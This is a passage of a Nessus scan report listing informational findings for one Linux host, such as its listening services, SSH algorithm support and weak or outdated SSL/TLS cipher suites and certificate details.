Using the supplied credentials, it was possible to identify the process listening on the remote port.

Description

By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port.

Note that the method used by this plugin only works for hosts running Linux or AIX.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/05/16, Modified: 2024/07/05

Plugin Output

udp/631

```
Process ID : 4134
Executable : /usr/sbin/cupsd
Command line : cupsd
```

25221 - Remote listeners enumeration (Linux / AIX)**Synopsis**

Using the supplied credentials, it was possible to identify the process listening on the remote port.

Description

By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port.

Note that the method used by this plugin only works for hosts running Linux or AIX.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/05/16, Modified: 2024/07/05

Plugin Output

udp/992

```
Process ID : 2512
Executable : /sbin/rpc.statd
Command line : rpc.statd
```

25221 - Remote listeners enumeration (Linux / AIX)

Synopsis

Using the supplied credentials, it was possible to identify the process listening on the remote port.

Description

By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port.

Note that the method used by this plugin only works for hosts running Linux or AIX.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/05/16, Modified: 2024/07/05

Plugin Output

udp/995/rpc-status

```
Process ID : 2512
Executable : /sbin/rpc.statd
Command line : rpc.statd
```

25221 - Remote listeners enumeration (Linux / AIX)

Synopsis

Using the supplied credentials, it was possible to identify the process listening on the remote port.

Description

By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port.

Note that the method used by this plugin only works for hosts running Linux or AIX.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/05/16, Modified: 2024/07/05

Plugin Output

tcp/998/rpc-status

```
Process ID : 2512
```

```
Executable : /sbin/rpc.statd
Command line : rpc.statd
```

25221 - Remote listeners enumeration (Linux / AIX)

Synopsis

Using the supplied credentials, it was possible to identify the process listening on the remote port.

Description

By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port.

Note that the method used by this plugin only works for hosts running Linux or AIX.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/05/16, Modified: 2024/07/05

Plugin Output

tcp/3306/mysql

```
Process ID : 3147
Executable : /usr/libexec/mysqld
Command line : /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql --pid-file=/var/run/mysqld/mysqld.pid --
skip-external-locking --socket=/var/lib/mysql/mysql.sock
```

133964 - SELinux Status Check

Synopsis

SELinux is available on the host and plugin was able to check if it is enabled.

Description

SELinux is available on the host and plugin was able to check if it is enabled.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2020/02/25, Modified: 2025/07/28

Plugin Output

tcp/0

SELinux config has been found on the host.

SELinux is disabled.

174788 - SQLite Local Detection (Linux / Unix)

Synopsis

The remote Linux host has SQLite Database software installed.

Description

Version information for SQLite was retrieved from the remote host. SQLite is an embedded database written in C.

- To discover instances of SQLite that are not in PATH, 'Perform thorough tests' setting must be enabled.

See Also

<https://www.sqlite.org/>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2023/04/26, Modified: 2025/08/14

Plugin Output

tcp/0

```
Path : /usr/bin/sqlite3
Version : 3.3.6
```

Version reported by the package manager.

70657 - SSH Algorithms and Languages Supported

Synopsis

An SSH server is listening on this port.

Description

This script detects which algorithms and languages are supported by the remote service for encrypting communications.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2013/10/28, Modified: 2025/01/20

Plugin Output

tcp/22/ssh

Nessus negotiated the following encryption algorithm(s) with the server :

```
Client to Server: aes256-ctr
Server to Client: aes256-ctr
```

The server supports the following options for compression_algorithms_server_to_client :

```
none
zlib
```

The server supports the following options for mac_algorithms_client_to_server :

```
hmac-md5
hmac-md5-96
hmac-ripemd160
hmac-ripemd160@openssh.com
hmac-sha1
hmac-sha1-96
```

The server supports the following options for server_host_key_algorithms :

```
ssh-dss
ssh-rsa
```

The server supports the following options for encryption_algorithms_client_to_server :

```
3des-cbc
aes128-cbc
aes128-ctr
aes192-cbc
aes192-ctr
```

```
aes256-cbc
aes256-ctr
arcfour
blowfish-cbc
cast128-cbc
rijndael-cbc@lysator.liu.se
```

The server supports the following options for mac_algorithms_server_to_client :

```
hmac-md5
hmac-md5-96
hmac-ripemd160
hmac-ripemd160@openssh.com
hmac-sha1
hmac-sha1-96
```

The server supports the following options for kex_algorithms :

```
diffie-hellman-group-exchange-sha1
diffie-hellman-group1-sha1
diffie-hellman-group14-sha1
```

The server supports the following options for compression_algorithms_client_to_server :

```
none
zlib
```

The server supports the following options for encryption_algorithms_server_to_client :

```
3des-cbc
aes128-cbc
aes128-ctr
aes192-cbc
aes192-ctr
aes256-cbc
aes256-ctr
arcfour
blowfish-cbc
cast128-cbc
rijndael-cbc@lysator.liu.se
```

102094 - SSH Commands Require Privilege Escalation

Synopsis

This plugin reports the SSH commands that failed with a response indicating that privilege escalation is required to run them.

Description

This plugin reports the SSH commands that failed with a response indicating that privilege escalation is required to run them. Either privilege escalation credentials were not provided, or the command failed to run with the provided privilege escalation credentials.

NOTE: Due to limitations inherent to the majority of SSH servers, this plugin may falsely report failures for commands containing error output expected by sudo, such as 'incorrect password', 'not in the sudoers file', or 'not allowed to execute'.

Solution

n/a

Risk Factor

None

References

XREF IAVB:0001-B-0507

Plugin Information

Published: 2017/08/01, Modified: 2020/09/22

Plugin Output

tcp/0

```
Login account : root
Commands failed due to lack of privilege escalation :
- Escalation account : (none)
Escalation method : (none)
Plugins :
- Plugin Filename : sqlite_nix_installed.nbin
Plugin ID : 174788
Plugin Name : SQLite Local Detection (Linux / Unix)
- Command : "file /bin/sqlite3"
Response : "/bin/sqlite3: cannot open (/bin/sqlite3)"
Error : ""
- Command : "file /usr/local/bin/sqlite3"
```

```
Response : "/usr/local/bin/sqlite3: cannot open (/usr/local/bin/sqlite3)"
Error : ""
```

149334 - SSH Password Authentication Accepted

Synopsis

The SSH server on the remote host accepts password authentication.

Description

The SSH server on the remote host accepts password authentication.

See Also

<https://tools.ietf.org/html/rfc4252#section-8>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2021/05/07, Modified: 2021/05/07

Plugin Output

tcp/22/ssh

10881 - SSH Protocol Versions Supported

Synopsis

A SSH server is running on the remote host.

Description

This plugin determines the versions of the SSH protocol supported by the remote SSH daemon.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/03/06, Modified: 2024/07/24

Plugin Output

tcp/22/ssh

The remote SSH daemon supports the following versions of the SSH protocol :

- 1.33
- 1.5
- 1.99
- 2.0

```
SSHv1 host key fingerprint : 8f:3e:8b:1e:58:63:fe:cf:27:a3:18:09:3b:52:cf:72
```

90707 - SSH SCP Protocol Detection

Synopsis

The remote host supports the SCP protocol over SSH.

Description

The remote host supports the Secure Copy (SCP) protocol over SSH.

See Also

https://en.wikipedia.org/wiki/Secure_copy

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2016/04/26, Modified: 2024/07/24

Plugin Output

tcp/22/ssh

153588 - SSH SHA-1 HMAC Algorithms Enabled

Synopsis

The remote SSH server is configured to enable SHA-1 HMAC algorithms.

Description

The remote SSH server is configured to enable SHA-1 HMAC algorithms.

Although NIST has formally deprecated use of SHA-1 for digital signatures, SHA-1 is still considered secure for HMAC as the security of HMAC does not rely on the underlying hash function being resistant to collisions.

Note that this plugin only checks for the options of the remote SSH server.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2021/09/23, Modified: 2022/04/05

Plugin Output

tcp/22/ssh

The following client-to-server SHA-1 Hash-based Message Authentication Code (HMAC) algorithms are supported :

hmac-sha1
hmac-sha1-96

The following server-to-client SHA-1 Hash-based Message Authentication Code (HMAC) algorithms are supported :

hmac-sha1
hmac-sha1-96

10267 - SSH Server Type and Version Information

Synopsis

An SSH server is listening on this port.

Description

It is possible to obtain information about the remote SSH server by sending an empty authentication request.

Solution

n/a

Risk Factor

None

References

XREF IAVT:0001-T-0933

Plugin Information

Published: 1999/10/12, Modified: 2024/07/24

Plugin Output

tcp/22/ssh

```
SSH version : SSH-1.99-OpenSSH_3.9p1
SSH supported authentication : publickey,gssapi-with-mic,password
```

56984 - SSL / TLS Versions Supported

Synopsis

The remote service encrypts communications.

Description

This plugin detects which SSL and TLS versions are supported by the remote service for encrypting communications.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2011/12/01, Modified: 2025/06/16

Plugin Output

tcp/443/www

```
This port supports SSLv2/SSLv3/TLSv1.0.
```

10863 - SSL Certificate Information

Synopsis

This plugin displays the SSL certificate.

Description

This plugin connects to every SSL-related port and attempts to extract and dump the X.509 certificate.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2008/05/19, Modified: 2021/02/03

Plugin Output

tcp/443/www

Subject Name:

```
Country: --
State/Province: SomeState
Locality: SomeCity
Organization: SomeOrganization
```

Organization Unit: SomeOrganizationalUnit
 Common Name: localhost.localdomain
 Email Address: root@localhost.localdomain

Issuer Name:

Country: --
 State/Province: SomeState
 Locality: SomeCity
 Organization: SomeOrganization
 Organization Unit: SomeOrganizationalUnit
 Common Name: localhost.localdomain
 Email Address: root@localhost.localdomain

Serial Number: 00

Version: 3

Signature Algorithm: MD5 With RSA Encryption

Not Valid Before: Oct 08 00:10:47 2009 GMT
 Not Valid After: Oct 08 00:10:47 2010 GMT

Public Key Info:

Algorithm: RSA Encryption
 Key Length: 1024 bits
 Public Key: 00 DE 1D B8 D5 44 AF 86 8B 4D 47 EC 8D A7 17 29 C0 9A 46 CD
 68 4F 1B 35 32 31 92 9E D2 57 63 C3 0F E9 81 63 9B 21 B1
 7B 7F 14 C1 BB 52 97 F8 83 AD 39 F9 6E 99 12 17 C1 5A 92 D7
 A2 70 C5 69 12 31 C6 7E 00 19 23 8B 83 CA B6 D2 45 2D F6 9D
 87 66 E7 DA 48 B4 B0 7D 2C 09 F8 24 CC C1 8B 4D F0 05 34 8E
 17 F7 AF 4C BC 8E BF A3 8C 45 34 1D 3E 0E E1 85 DC 9C 34 6F
 6C 85 1E 1C A7 9D 3C FB 13
 Exponent: 01 00 01

Signature Length: 128 bytes / 1024 bits
 Signature: 00 1E FA BB 28 F7 94 4E 7D FA 4B 3F C0 BB DE 53 98 2E DA 4A
 48 48 90 65 47 31 11 A1 59 EE CA 4C 47 E5 A9 07 DF 61 3A 89
 39 2E 31 B2 EF C5 C4 34 72 F4 81 8E 6A 9B 32 20 B1 84 C7 9E
 DA A6 E0 98 25 6D ED A7 03 14 AE 95 17 BB FC 7D 83 72 CC F9
 58 21 88 7D 17 C4 C3 9F 6E E7 95 86 A5 99 FB 23 FC 2E 2B 11
 3A BE 6E F8 57 86 38 10 48 20 D0 26 A5 65 17 DB 11 1D 07 8A
 7D ED 66 33 3F 4D EB 11 05

Extension: Subject Key Identifier(2.5.29.14)

Critical: 0

Subject Key Identifier: 40 0B 3E 3B 0A 99 21 8B 16 0A 54 36 64 16 AF DA E3 CF FE 60

Extension: Authority Key Identifier(2.5.29.35)

Critical: 0

Key Identifier: 40 0B 3E 3B 0A 99 21 8B 16 0A 54 36 64 16 AF DA E3 CF FE 60

Country: --

State/Province: SomeState

Locality: SomeCity

Organization: SomeOrganization

Organization Unit: SomeOrganizationalUnit

Common Name: localhost.localdomain

Email Address: root@localhost.localdomain

Serial Number: 00

Extension: Basic Constraints(2.5.29.19)

Critical: 0

CA: TRUE

Fingerprints :

SHA-256 Fingerprint: 5C 68 D0 0C 48 66 D8 1F 66 51 99 D5 C2 DA 7E 8A 90 B6 A3 FB

57 CA 42 A3 32 15 61 97 26 D0 2C D7

SHA-1 Fingerprint: 56 0C 91 96 65 06 FB 0F FB 81 66 B1 DE D3 AC 11 2E D4 80 8A

MD5 Fingerprint: 01 DE 29 F9 FB FB 2E B2 BE AF E6 24 31 57 09 0F

PEM certificate :

-----BEGIN CERTIFICATE-----

MIIEDCCA3WgAwIBAgIBADANBgkqhkiG9w0BAQQFADCbzELMAkGA1UEBhMCLSoxEjAQBgNVBAgTCVNVbWVTdGF0ZTERMA8GA1UEBxMIU29tZUNpdHkxGTAXBgNVBAoTEFNVbWVPCmdhbm16YXRpb25hbFVuaxQxHjAcBgNVBAMTFWxvY2FsaG9zdC5sb2NhbGRvbWFpbjEpMCcGCSqGS1b3DQEJARYacm9vdeBsb2NhbGhv3QubG9jYWxkb21haW4whHcNMDkxMDA4MDAxMDQ3WhcNMTAxMDA4MDAxMDQ3WjCBuzELMAkGA1UEBhMCLSoxEjAQBgNVBAgTCVNVbWVTdGF0ZTERMA8GA1UEBxMIU29tZUNpdHkxGTAXBgNVBAoTEFNVbWVPCmdhbm16YXRpb24xH2AdBgNvBAsTF1NvbWVPCmdhbm16YXRpb25hbFVuaxQxHjAcBgNVBAMTFWxvY2FsaG9zdC5sb2NhbGRvbWFpbjEpMCcGCSqGS1b3DQEJARYacm9vdeBsb2NhbGhv3QubG9jYWxkb21haW4wgZ8wDQYJKoZIhvCNQEBBQAQdgY0AMIGJAoGBAN4duNVEr4aLTUfsjacXkcCcRs1oTxsdNTIxkpnV2PDD+mBY5shsXt/FMG7Upf4g605+W6ZEhfbWPxLxonDFAIxRxxn4AGSOLg8q20kUt9p2HzufaSLSwfSwJ+CTMwYtN8AU0jhf3r0y8jr+jjE0HT404YXcnDRvBIUHKedPsTagMBAAGjggEcMIIBGDADBgNVHQ4EFgQUQAs+OwqZIysWC1Q2ZBav2uPP/mAwgegGA1UdIwSB4DCB3YAUQAs+OwqZIysWC1Q2ZBav2uPP/mChgcGkgb4wgbsxCzAJBgNVBAYTAi0tMRIwEAYDVQQIEw1Tb211U3RhGUxETAPBgNVBAcTCFNVbWVDaXr5MRkwFwYDVQQKExBt211T3jnYW5pemF0aW9uM8wHQYDVQQLExZtb211T3jnYW5pemF0aW9uWxVbml0MR4wHAYDVQQDExVs2NhbGhv3QubG9jYWxkb21haW4xKTAnBgkqhkiG9w0BCQEWNjvb3RAbG9jYWxob3N0LmxvY2FszG9tYwIuggEAMAwGA1UdEwQFMAMB Af8wDQYJKoZIhvNAQEEBQADgYEAHvq7KPeUtN3Sz/Au95TmC7aSkhIkGVHMRGhWe7KTEf1qQffYTqJOS4xsu/FxDry9IGOapsyILGEx57apuCYJW3tpwMUrpuXu/x9g3LM +VghiH0XmoFbueVhqWz+yP8LisR0r5u+FeGOBBINAmplUX2EdB4p97WyzP03rEQU=

-----END CERTIFICATE-----

70544 - SSL Cipher Block Chaining Cipher Suites Supported

Synopsis

The remote service supports the use of SSL Cipher Block Chaining ciphers, which combine previous blocks with subsequent ones.

Description

The remote host supports the use of SSL ciphers that operate in Cipher Block Chaining (CBC) mode. These cipher suites offer additional security over Electronic Codebook (ECB) mode, but have the potential to leak information if used improperly.

See Also

<https://www.openssl.org/docs/manmaster/man1/ciphers.html>
<http://www.nessus.org/u?cc4a822a>
<https://www.openssl.org/~bodo/tls-cbc.txt>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2013/10/22, Modified: 2021/02/03

Plugin Output

tcp/443/www

Here is the list of SSL CBC ciphers supported by the remote server :

Low Strength Ciphers (<= 64-bit key)

Name	Code	KEX	Auth	Encryption	MAC	
EXP-RC2-CBC-MD5	0x04, 0x00, 0x80	RSA(512)	RSA	RC2-CBC(40)	MD5	export
EXP-EDH-RSA-DES-CBC-SHA	0x00, 0x14	DH(512)	RSA	DES-CBC(40)	SHA1	export
EDH-RSA-DES-CBC-SHA	0x00, 0x15	DH	RSA	DES-CBC(56)	SHA1	
EXP-DES-CBC-SHA	0x00, 0x08	RSA(512)	RSA	DES-CBC(40)	SHA1	export
EXP-RC2-CBC-MD5	0x00, 0x06	RSA(512)	RSA	RC2-CBC(40)	MD5	export
DES-CBC-SHA	0x00, 0x09	RSA	RSA	DES-CBC(56)	SHA1	

Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

Name	Code	KEX	Auth	Encryption	MAC
DES-CBC3-MD5	0x07, 0x00, 0xC0	RSA	RSA	3DES-CBC(168)	MD5
EDH-RSA-DES-CBC3-SHA	0x00, 0x16	DH	RSA	3DES-CBC(168)	SHA1
DES-CBC3-SHA	0x00, 0x0A	RSA	RSA	3DES-CBC(168)	SHA1

High Strength Ciphers (>= 112-bit key)

Name	Code	KEX	Auth	Encryption	MAC
DHE-RSA-AES128-SHA	0x00, 0x33	DH	RSA	AES-CBC(128)	SHA1
DHE-RSA-AES256-SHA	0x00, 0x39	DH	RSA	AES-CBC(256)	SHA1
AES128-SHA	0x00, 0x2F	RSA	RSA	AES-CBC(128)	SHA1
AES256-SHA	0x00, 0x35	RSA	RSA	AES-CBC(256)	SHA1

The fields above are :

```
{Tenable ciphername}
{Cipher ID code}
Kex={key exchange}
Auth={authentication}
Encrypt={symmetric encryption method}
MAC={message authentication code}
{export flag}
```

21643 - SSL Cipher Suites Supported

Synopsis

The remote service encrypts communications using SSL.

Description

This plugin detects which SSL ciphers are supported by the remote service for encrypting communications.

See Also

<https://www.openssl.org/docs/man1.0.2/man1/ciphers.html>
<http://www.nessus.org/u?e17ffced>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2006/06/05, Modified: 2024/09/11

Plugin Output

tcp/443/www

Here is the list of SSL ciphers supported by the remote server :
 Each group is reported per SSL Version.

SSL Version : TLSv1

Low Strength Ciphers (<= 64-bit key)

Name Code KEX Auth Encryption MAC

```
-----  
EXP-EDH-RSA-DES-CBC-SHA 0x00, 0x14 DH(512) RSA DES-CBC(40) SHA1 export  
EDH-RSA-DES-CBC-SHA 0x00, 0x15 DH RSA DES-CBC(56) SHA1  
EXP-DES-CBC-SHA 0x00, 0x08 RSA(512) RSA DES-CBC(40) SHA1 export  
EXP-RC2-CBC-MD5 0x00, 0x06 RSA(512) RSA RC2-CBC(40) MD5 export  
EXP-RC4-MD5 0x00, 0x03 RSA(512) RSA RC4(40) MD5 export  
DES-CBC-SHA 0x00, 0x09 RSA RSA DES-CBC(56) SHA1
```

Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

Name Code KEX Auth Encryption MAC

```
-----  
EDH-RSA-DES-CBC3-SHA 0x00, 0x16 DH RSA 3DES-CBC(168) SHA1  
DES-CBC3-SHA 0x00, 0x0A RSA RSA 3DES-CBC(168) SHA1
```

High Strength Ciphers (>= 112-bit key)

Name Code KEX Auth Encryption MAC

```
-----  
DHE-RSA-AES128-SHA 0x00, 0x33 DH RSA AES-CBC(128) SHA1  
DHE-RSA-AES256-SHA 0x00, 0x39 DH RSA AES-CBC(256) SHA1  
AES128-SHA 0x00, 0x2F RSA RSA AES-CBC(128) SHA1  
AES256-SHA 0x00, 0x35 RSA RSA AES-CBC(256) SHA1  
RC4-MD5 0x00, 0x04 RSA RSA RC4(128) MD5  
RC4-SHA 0x00, 0x05 RSA RSA RC4(128) SHA1
```

SSL Version : SSLv3

Low Strength Ciphers (<= 64-bit key)

Name Code KEX Auth Encryption MAC

```
-----  
EXP-EDH-RSA-DES-CBC-SHA 0x00, 0x14 DH(512) RSA DES-CBC(40) SHA1 export  
EDH-RSA-DES-CBC-SHA 0x00, 0x15 DH RSA DES-CBC(56) SHA1  
EXP-DES-CBC-SHA 0x00, 0x08 RSA(512) RSA DES-CBC(40) SHA1 export  
EXP-RC2-CBC-MD5 0x00, 0x06 RSA(512) RSA RC2-CBC(40) MD5 export  
EXP-RC4-MD5 0x00, 0x03 RSA(512) RSA RC4(40) MD5 export  
DES-CBC-SHA 0x00, 0x09 RSA RSA DES-CBC(56) SHA1
```

Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

Name Code KEX Auth Encryption MAC

```
-----  
EDH-RSA-DES-CBC3-SHA 0x00, 0x16 DH RSA 3DES-CBC(168) SHA1  
DES-CBC3-SHA 0x00, 0x0A RSA RSA 3DES-CBC(168) SHA1
```

High Strength Ciphers (>= 112-bit key)

Name Code KEX Auth Encryption MAC

```
-----  
DHE-RSA-AES128-SHA 0x00, 0x33 DH RSA AES-CBC(128) SHA1  
DHE-RSA-AES256-SHA 0x00, 0x39 DH RSA AES-CBC(256) SHA1  
AES128-SHA 0x00, 0x2F RSA RSA AES-CBC(128) SHA1  
AES256-SHA 0x00, 0x35 RSA RSA AES-CBC(256) SHA1  
RC4-MD5 0x00, 0x04 RSA RSA RC4(128) MD5  
RC4-SHA 0x00, 0x05 RSA RSA RC4(128) SHA1
```

SSL Version : SSLv2

Low Strength Ciphers (<= 64-bit key)

Name Code KEX Auth Encryption MAC

```
-----  
EXP-RC2-CBC-MD5 0x04, 0x00, 0x80 RSA(512) RSA RC2-CBC(40) MD5 export  
EXP-RC4-MD5 0x02, 0x00, 0x80 RSA(512) RSA RC4(40) MD5 export
```

Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

Name Code KEX Auth Encryption MAC

```
-----  
DES-CBC3-MD5 0x07, 0x00, 0xC0 RSA RSA 3DES-CBC(168) MD5
```

High Strength Ciphers (>= 112-bit key)

Name Code KEX Auth Encryption MAC

RC4-MD5 0x01, 0x00, 0x80 RSA RSA RC4(128) MD5

The fields above are :

```
{Tenable ciphername}
{Cipher ID code}
Kex={key exchange}
Auth={authentication}
Encrypt={symmetric encryption method}
MAC={message authentication code}
{export flag}
```

57041 - SSL Perfect Forward Secrecy Cipher Suites Supported

Synopsis

The remote service supports the use of SSL Perfect Forward Secrecy ciphers, which maintain confidentiality even if the key is stolen.

Description

The remote host supports the use of SSL ciphers that offer Perfect Forward Secrecy (PFS) encryption. These cipher suites ensure that recorded SSL traffic cannot be broken at a future date if the server's private key is compromised.

See Also

<https://www.openssl.org/docs/manmaster/man1/ciphers.html>

https://en.wikipedia.org/wiki/Diffie-Hellman_key_exchange

https://en.wikipedia.org/wiki/Perfect_forward_secrecy

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2011/12/07, Modified: 2021/03/09

Plugin Output

tcp/443/www

Here is the list of SSL PFS ciphers supported by the remote server :

Low Strength Ciphers (<= 64-bit key)

Name Code KEX Auth Encryption MAC

EXP-EDH-RSA-DES-CBC-SHA 0x00, 0x14 DH(512) RSA DES-CBC(40) SHA1 export
EDH-RSA-DES-CBC-SHA 0x00, 0x15 DH RSA DES-CBC(56) SHA1

Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

Name Code KEX Auth Encryption MAC

EDH-RSA-DES-CBC3-SHA 0x00, 0x16 DH RSA 3DES-CBC(168) SHA1

High Strength Ciphers (>= 112-bit key)

Name Code KEX Auth Encryption MAC

DHE-RSA-AES128-SHA 0x00, 0x33 DH RSA AES-CBC(128) SHA1
DHE-RSA-AES256-SHA 0x00, 0x39 DH RSA AES-CBC(256) SHA1

The fields above are :

```
{Tenable ciphername}
{Cipher ID code}
Kex={key exchange}
Auth={authentication}
Encrypt={symmetric encryption method}
MAC={message authentication code}
{export flag}
```

58768 - SSL Resume With Different Cipher Issue

Synopsis

The remote host allows resuming SSL sessions with a different cipher than the one originally negotiated.

Description

The SSL implementation on the remote host has been shown to allow a cipher other than the one originally negotiated when resuming a session. An attacker that sees (e.g. by sniffing) the start of an SSL connection may be able to manipulate session cache to cause subsequent resumptions of that session to use a cipher chosen by the attacker.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2012/04/17, Modified: 2012/04/17

Plugin Output

tcp/443/www

The server allowed the following session over TLSv1 to be resumed as follows :

```
Session ID : 5c0b53f4835426bcd21c31c6c52382b0d5c881f98791e3ca079030ae7a6af9c
Initial Cipher : TLS1_CK_DHE_RSA_WITH_AES_256_CBC_SHA (0x0039)
Resumed Cipher : TLS1_CK_DHE_RSA_WITH_DES_CBC_SHA (0x0015)
```

94761 - SSL Root Certification Authority Certificate Information**Synopsis**

A root Certification Authority certificate was found at the top of the certificate chain.

Description

The remote service uses an SSL certificate chain that contains a self-signed root Certification Authority certificate at the top of the chain.

See Also

[https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778623\(v=ws.10\)](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778623(v=ws.10))

Solution

Ensure that use of this root Certification Authority certificate complies with your organization's acceptable use and security policies.

Risk Factor

None

Plugin Information

Published: 2016/11/14, Modified: 2018/11/15

Plugin Output

tcp/443/www

The following root Certification Authority certificate was found :

```
| -Subject : C=-
|-ST=SomeState/L=SomeCity/O=SomeOrganization/OU=SomeOrganizationalUnit/CN=localhost.localdomain/E=root@localhost.localdomain
|-Issuer : C=-
|-ST=SomeState/L=SomeCity/O=SomeOrganization/OU=SomeOrganizationalUnit/CN=localhost.localdomain/E=root@localhost.localdomain
|-Valid From : Oct 08 00:10:47 2009 GMT
|-Valid To : Oct 08 00:10:47 2010 GMT
|-Signature Algorithm : MD5 With RSA Encryption
```

53360 - SSL Server Accepts Weak Diffie-Hellman Keys**Synopsis**

The remote SSL/TLS server accepts a weak Diffie-Hellman public value.

Description

The remote SSL/TLS server accepts a weak Diffie-Hellman (DH) public key value.

This flaw may aid an attacker in conducting a man-in-the-middle (MiTM) attack against the remote server since it could enable a forced calculation of a fully predictable Diffie-Hellman secret.

By itself, this flaw is not sufficient to set up a MiTM attack (hence a risk factor of 'None'), as it would require some SSL implementation flaws to affect one of the clients connecting to the remote host.

See Also

<https://www.cl.cam.ac.uk/~rja14/Papers/psandqs.pdf>

<https://tls.mbed.org/tech-updates/security-advisories/polarssl-security-advisory-2011-01>

Solution

OpenSSL is affected when compiled in FIPS mode. To resolve this issue, either upgrade to OpenSSL 1.0.0, disable FIPS mode or configure the ciphersuite used by the server to not include any Diffie-Hellman key exchanges.

PolarSSL is affected. To resolve this issue, upgrade to version 0.99-pre3 / 0.14.2 or higher.

If using any other SSL implementation, configure the ciphersuite used by the server to not include any Diffie-Hellman key exchanges or contact your vendor for a patch.

Risk Factor

None

Plugin Information

Published: 2011/04/11, Modified: 2020/06/12

Plugin Output

tcp/443/www

It was possible to complete a full SSL handshake by sending a DH key with a value of 1.

51891 - SSL Session Resume Supported**Synopsis**

The remote host allows resuming SSL sessions.

Description

This script detects whether a host allows resuming SSL sessions by performing a full SSL handshake to receive a session ID, and then reconnecting with the previously used session ID. If the server accepts the session ID in the second connection, the server maintains a cache of sessions that can be resumed.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2011/02/07, Modified: 2021/09/13

Plugin Output

tcp/443/www

This port supports resuming SSLv3 / TLSv1 sessions.

156899 - SSL/TLS Recommended Cipher Suites**Synopsis**

The remote host advertises discouraged SSL/TLS ciphers.

Description

The remote host has open SSL/TLS ports which advertise discouraged cipher suites. It is recommended to only enable support for the following cipher suites:

TLSv1.3:

- 0x13,0x01 TLS13_AES_128_GCM_SHA256
- 0x13,0x02 TLS13_AES_256_GCM_SHA384
- 0x13,0x03 TLS13_CHACHA20_POLY1305_SHA256

TLSv1.2:

- 0xC0,0x2B ECDHE-ECDSA-AES128-GCM-SHA256
- 0xC0,0x2F ECDHE-RSA-AES128-GCM-SHA256
- 0xC0,0x2C ECDHE-ECDSA-AES256-GCM-SHA384
- 0xC0,0x30 ECDHE-RSA-AES256-GCM-SHA384
- 0xCC,0xA9 ECDHE-ECDSA-CHACHA20-POLY1305
- 0xCC,0xA8 ECDHE-RSA-CHACHA20-POLY1305

This is the recommended configuration for the vast majority of services, as it is highly secure and compatible with nearly every client released in the last five (or more) years.

See Also

https://wiki.mozilla.org/Security/Server_Side_TLS

<https://ssl-config.mozilla.org/>

Solution

Only enable support for recommended cipher suites.

Risk Factor

None

Plugin Information

Published: 2022/01/20, Modified: 2024/02/12

Plugin Output

tcp/443/www

The remote host has listening SSL/TLS ports which advertise the discouraged cipher suites outlined below:

Low Strength Ciphers (<= 64-bit key)

Name	Code	KEX	Auth	Encryption	MAC	
EXP-RC2-CBC-MD5	0x04, 0x00, 0x80	RSA(512)	RSA	RC2-CBC(40)	MD5	export
EXP-RC4-MD5	0x02, 0x00, 0x80	RSA(512)	RSA	RC4(40)	MD5	export
EXP-EDH-RSA-DES-CBC-SHA	0x00, 0x14	DH(512)	RSA	DES-CBC(40)	SHA1	export
EDH-RSA-DES-CBC-SHA	0x00, 0x15	DH	RSA	DES-CBC(56)	SHA1	
EXP-DES-CBC-SHA	0x00, 0x08	RSA(512)	RSA	DES-CBC(40)	SHA1	export
EXP-RC2-CBC-MD5	0x00, 0x06	RSA(512)	RSA	RC2-CBC(40)	MD5	export
EXP-RC4-MD5	0x00, 0x03	RSA(512)	RSA	RC4(40)	MD5	export
DES-CBC-SHA	0x00, 0x09	RSA	RSA	DES-CBC(56)	SHA1	

Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

Name	Code	KEX	Auth	Encryption	MAC
DES-CBC3-MD5	0x07, 0x00, 0xC0	RSA	RSA	3DES-CBC(168)	MD5
EDH-RSA-DES-CBC3-SHA	0x00, 0x16	DH	RSA	3DES-CBC(168)	SHA1
DES-CBC3-SHA	0x00, 0x0A	RSA	RSA	3DES-CBC(168)	SHA1

High Strength Ciphers (>= 112-bit key)

Name	Code	KEX	Auth	Encryption	MAC
RC4-MD5	0x01, 0x00, 0x80	RSA	RSA	RC4(128)	MD5
DHE-RSA-AES128-SHA	0x00, 0x33	DH	RSA	AES-CBC(128)	SHA1
DHE-RSA-AES256-SHA	0x00, 0x39	DH	RSA	AES-CBC(256)	SHA1
AES128-SHA	0x00, 0x2F	RSA	RSA	AES-CBC(128)	SHA1
AES256-SHA	0x00, 0x35	RSA	RSA	AES-CBC(256)	SHA1
RC4-MD5	0x00, 0x04	RSA	RSA	RC4(128)	MD5
RC4-SHA	0x00, 0x05	RSA	RSA	RC4(128)	SHA1

The fields above are :

```
{Tenable ciphername}
{Cipher ID code}
Kex={key exchange}
Auth={authentication}
Encrypt={symmetric encryption method}
MAC={message authentication code}
{export flag}
```

22964 - Service Detection**Synopsis**

The remote service could be identified.

Description

